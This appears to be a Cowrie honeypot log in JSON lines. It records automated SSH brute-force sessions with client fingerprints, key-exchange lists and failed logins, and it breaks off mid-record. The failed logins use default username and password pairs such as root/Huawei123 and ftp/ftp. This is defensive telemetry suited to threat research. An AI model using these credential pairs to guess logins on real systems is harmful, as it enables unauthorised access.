{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60404,"dst_ip":"10.17.0.5","dst_port":22,"session":"5afd3267f3ae","protocol":"ssh","message":"New connection: 192.109.200.78:60404 (10.17.0.5:22) [session: 5afd3267f3ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:08.936690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:08.943843Z","src_ip":"192.109.200.78","session":"5afd3267f3ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:09.025004Z","src_ip":"192.109.200.78","session":"5afd3267f3ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:09.273729Z","src_ip":"192.109.200.78","session":"5afd3267f3ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:10.358040Z","src_ip":"192.109.200.78","session":"5afd3267f3ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38978,"dst_ip":"10.17.0.5","dst_port":22,"session":"4544b36feab2","protocol":"ssh","message":"New connection: 192.109.200.78:38978 (10.17.0.5:22) [session: 4544b36feab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:12.353220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:12.447142Z","src_ip":"192.109.200.78","session":"4544b36feab2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:12.450009Z","src_ip":"192.109.200.78","session":"4544b36feab2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei123","message":"login attempt [root/Huawei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:12.774999Z","src_ip":"192.109.200.78","session":"4544b36feab2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:13.857724Z","src_ip":"192.109.200.78","session":"4544b36feab2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38984,"dst_ip":"10.17.0.5","dst_port":22,"session":"902a681c8544","protocol":"ssh","message":"New connection: 192.109.200.78:38984 (10.17.0.5:22) [session: 902a681c8544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:15.969781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:15.975307Z","src_ip":"192.109.200.78","session":"902a681c8544","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:16.055941Z","src_ip":"192.109.200.78","session":"902a681c8544","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"123456","message":"login attempt [student/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:16.300710Z","src_ip":"192.109.200.78","session":"902a681c8544","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:17.384379Z","src_ip":"192.109.200.78","session":"902a681c8544","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38988,"dst_ip":"10.17.0.5","dst_port":22,"session":"049c44a6552d","protocol":"ssh","message":"New connection: 192.109.200.78:38988 (10.17.0.5:22) [session: 049c44a6552d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:19.345599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:19.349090Z","src_ip":"192.109.200.78","session":"049c44a6552d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:19.429365Z","src_ip":"192.109.200.78","session":"049c44a6552d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123321","message":"login attempt [ubuntu/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:19.672899Z","src_ip":"192.109.200.78","session":"049c44a6552d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:20.756116Z","src_ip":"192.109.200.78","session":"049c44a6552d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36110,"dst_ip":"10.17.0.5","dst_port":22,"session":"e622417ce6bd","protocol":"ssh","message":"New connection: 192.109.200.78:36110 (10.17.0.5:22) [session: e622417ce6bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:22.915112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:22.919204Z","src_ip":"192.109.200.78","session":"e622417ce6bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:23.000473Z","src_ip":"192.109.200.78","session":"e622417ce6bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:23.243957Z","src_ip":"192.109.200.78","session":"e622417ce6bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:24.330605Z","src_ip":"192.109.200.78","session":"e622417ce6bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36114,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a2c112cd413","protocol":"ssh","message":"New connection: 192.109.200.78:36114 (10.17.0.5:22) [session: 3a2c112cd413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:26.334625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:26.337759Z","src_ip":"192.109.200.78","session":"3a2c112cd413","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:26.419164Z","src_ip":"192.109.200.78","session":"3a2c112cd413","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"1","message":"login attempt [user3/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:26.661965Z","src_ip":"192.109.200.78","session":"3a2c112cd413","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":42600,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc9de9babc74","protocol":"telnet","message":"New connection: 172.81.62.90:42600 (159.203.135.109:23) [session: bc9de9babc74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:27.604856Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:27.933260Z","src_ip":"192.109.200.78","session":"3a2c112cd413","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36130,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe0ed0f77676","protocol":"ssh","message":"New connection: 192.109.200.78:36130 (10.17.0.5:22) [session: fe0ed0f77676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:29.713887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:29.716685Z","src_ip":"192.109.200.78","session":"fe0ed0f77676","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:29.796469Z","src_ip":"192.109.200.78","session":"fe0ed0f77676","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123321","message":"login attempt [dev/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:30.067671Z","src_ip":"192.109.200.78","session":"fe0ed0f77676","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:31.151182Z","src_ip":"192.109.200.78","session":"fe0ed0f77676","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52684,"dst_ip":"10.17.0.5","dst_port":22,"session":"564e1463a156","protocol":"ssh","message":"New connection: 192.109.200.78:52684 (10.17.0.5:22) [session: 564e1463a156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:33.305773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:33.309602Z","src_ip":"192.109.200.78","session":"564e1463a156","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:33.393140Z","src_ip":"192.109.200.78","session":"564e1463a156","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dxfUgwfiNcx8","message":"login attempt [root/dxfUgwfiNcx8] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:33.754034Z","src_ip":"192.109.200.78","session":"564e1463a156","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.29.234.126","src_port":48308,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ee36484458d","protocol":"ssh","message":"New connection: 46.29.234.126:48308 (159.203.135.109:22) [session: 1ee36484458d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:34.688659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:34.692414Z","src_ip":"46.29.234.126","session":"1ee36484458d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha